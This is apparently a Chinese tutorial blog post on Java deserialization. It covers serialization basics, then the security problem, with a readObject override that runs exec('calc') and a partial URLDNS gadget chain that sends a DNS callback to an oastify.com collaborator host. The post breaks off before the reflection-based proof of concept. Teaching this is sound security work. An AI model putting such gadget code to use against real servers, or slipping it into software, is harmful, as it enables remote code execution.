Java反序列化基础1
参考文章
概述
序列化与反序列化
Java序列化:Java对象->字节序列
Java反序列化:字节序列->Java对象
为什么需要序列化与反序列化
为了传输数据,在两个java进程之中进行通信
序列化:将对象的状态保存到存储介质中或通过网络传输
反序列化:从存储介质或网络接收的数据重建对象
序列化与反序列化的应用场景
想把内存中的对象保存到一个文件或者数据库中的时候
想用套接字在网络上传送对象的时候
想通过RMI传输对象的时候
样例代码解析
代码
package org.example;
import java.io.Serializable;
public class Person implements Serializable {
private String name;
private int age;
public Person(){
}
// 构造函数
public Person(String name, int age){
this.name = name;
this.age = age;
}
@Override
public String toString(){
return "Person{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}
}
package org.example;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
public class SerializationTest {
public static void serialize(Object obj) throws IOException{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("src/main/ser.bin"));
oos.writeObject(obj);
}
public static void main(String[] args) throws Exception{
Person person = new Person("aa",22);
System.out.println(person);
serialize(person);
}
}
package org.example;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
public class UnserializeTest {
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void main(String[] args) throws Exception{
Person person = (Person)unserialize("src/main/ser.bin");
System.out.println(person);
}
}
运行结果
SerializationTest
UnserializeTest
详解
Persion类
implements Serializable
:这是一个标记接口,表示当前类可以被 ObjectOutputStream 序列化,以及被 ObjectInputStream 反序列化。
public class Person implements Serializable{}
如果去掉则会报错
SerializationTest类(序列化)
这里把序列化操作封装咋子serialize方法中,传入java对象之后,创建ObjectOutputStream对象,它包装了一个FileOutputStream,而FileOutputStream用于写入到文件
再通过 oos.writeObject(obj)
将传入的对象写入到输出流中,进行序列化。
// 创建ObjectInputStream,包装FileInputStream
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
// 从输入流读取对象
Object obj = ois.readObject();
oos.writeObject(obj);
// 自动关闭流(try-with-resources语法)
UnserializeTest类(反序列化)
ObjectInputStream
是Java对象反序列化的核心类,它可以从字节流重建Java对象,将FileInputStream包装到ObjectInputStream,从输入流中读取对象后返回。
// 创建ObjectInputStream,包装FileInputStream
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
// 从输入流读取对象
Object obj = ois.readObject();
return obj; // 返回反序列化的对象
Serializable 接口的特点
序列化类的属性没有实现 Serializable接口 那么再序列化就会报错
将原来的 implements Serializable接口删掉就会出现此报错
在反序列化过程中,它的父类如果没有实现序列化接口,那么将需要提供无参构造函数来重新创建对象。
Animal 是父类,它没有实现 Serilizable 接口
public class Animal {
private String color;
public Animal() {//没有无参构造将会报错
System.out.println("调用 Animal 无参构造");
}
public Animal(String color) {
this.color = color;
System.out.println("调用 Animal 有 color 参数的构造");
}
@Override
public String toString() {
return "Animal{" +
"color='" + color + '\'' +
'}';
}
}
BlackCat 是 Animal 的子类
public class BlackCat extends Animal implements Serializable {
private static final long serialVersionUID = 1L;
private String name;
public BlackCat() {
super();
System.out.println("调用黑猫的无参构造");
}
public BlackCat(String color, String name) {
super(color);
this.name = name;
System.out.println("调用黑猫有 color 参数的构造");
}
@Override
public String toString() {
return "BlackCat{" +
"name='" + name + '\'' +super.toString() +'\'' +
'}';
}
}
输出结果
由此执行结果可知,如果序列化的对象的父类Animal没有实现序列化接口,那么再反序列化时就会调用对应的无参构造方法,这样做的目的时重新初始化父类的属性,例如 Animal 因为没有实现序列化接口,因此对应的 color 属性就不会被序列化,因此反序列得到的 color 值就为 null。
一个实现 Serializable 接口的子类也是可以被序列化的
静态成员变量是不能被序列化
序列化是针对对象属性的,而静态成员变量是属于类的。
transient 标识的对象成员变量不参与序列化
//改为
private transient String name;
这里可以看到反序列化中的name变成了nulll。
Java反序列化的安全问题
根据开发需要的不同可以通过writeObject和readObject 方法自定义序列化过程
为什么会产生安全问题
只要服务端反序列化数据,客户端传递类的readObject代码就会自动执行,给予了攻击者再服务器上运行代码的能力。
可能的形式
入口类的readObject直接调用危险方法
在之前的Persion类中添加readObject方法
private void readObject(ObjectInputStream ois) throws IOException,ClassNotFoundException{
ois.defaultReadObject();
Runtime.getRuntime().exec("calc");
}
如此在反序列化 的过程中就会自动执行readObject方法,如果里面有恶意代码就会导致恶意执行
同时以下情况也会触发java反序列化漏洞
入口类参数中包含可控类,该类有危险方法,readObject时调用
入口类参数中包含可控类,该类又调用其他有危险方法的类,readObject时调用。
比如类型定义为Object,调用equals/hashcode/toString
构造函数/静态代码块等类加载时隐式执行
产生漏洞的攻击路线
可利用的共同条件
继承Serializable
入口类source:(重写readObject 调用常见的函数 参数类型宽泛 最好jdk自带)例如Map类
调用链 gadget chain 相同名称,相同类型
执行类sink (rce ssrf文件等等)最重要 比如exec这种函数
这里以HashMap作为示例,跟踪到实现
说明HashMap继承了Serializable接口,满足了第一条件
再在它的方法中找到了重写的readObject
在readObject方法中找到
再到
这里的hashCode在Object类中,满足我们调用常见函数,函数类型宽泛的条件。、
综上所述,HashMap是一个很好的入口类
URLDNS实战
https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java
利用链
如果要尝试ssrf漏洞的话就可以想到URL类。
可以看到URL继承了Serializable接口,
openConnection方法跟踪下去会发现太复杂,不好利用,且此函数方法少见,而调用的时候需要用同名函数替换。
所以要找一个常见的函数比如说hashcode,一步步跟踪
getHostAddress:根据域名来获取地址。下面就会有域名解析类的工作
所以说,如果调用URL类的hashcode函数就会一个dns请求,就可以验证是否存在漏洞。
复现
在SerializationTest.java 文件下添加如下代码
这里的url我用bp生成的来接收dns
public static void main(String[] args) throws Exception{
Person person = new Person("aa",22);
HashMap<URL,Integer> hashmap=new HashMap<URL,Integer>();
hashmap.put(new URL("http://7v3spzdbjo1uiz4h1b0013qufllb90.oastify.com"),1);
HashMap a=new HashMap<>();
//System.out.println(person);
serialize(hashmap);
}
按道理来说这次是序列化,应该不会发送dns请求的,但是我们还是接收到了
那为什么序列化的时候也会发送dns请求呢
我们首先翻看一下hashmap的put方法
这里发现就直接调用hash,进而调用了hashcode。
我们翻看一下URL对象的hashcode方法
这里hashcode被初始化为-1
所以刚开始hashcode初始化为-1的时候,hashmap.put就发送了dns请求,并且运行完之后hashcode的值变化,反序列化时反而不能触发dns。
如果要解决这个问题的话,我们就需要在序列化时
public static void main(String[] args) throws Exception{
Person person = new Person("aa",22);
HashMap<URL,Integer> hashmap=new HashMap<URL,Integer>();
//这里不要发送请求
hashmap.put(new URL("http://7v3spzdbjo1uiz4h1b0013qufllb90.oastify.com"),1);
//这里要把hashcode改回-1
//通过反射改变一个已有对象的属性
HashMap a=new HashMap<>();
//System.out.println(person);
serialize(hashmap);
}
这里需要用到java的反射,所有poc还是放到下一篇吧。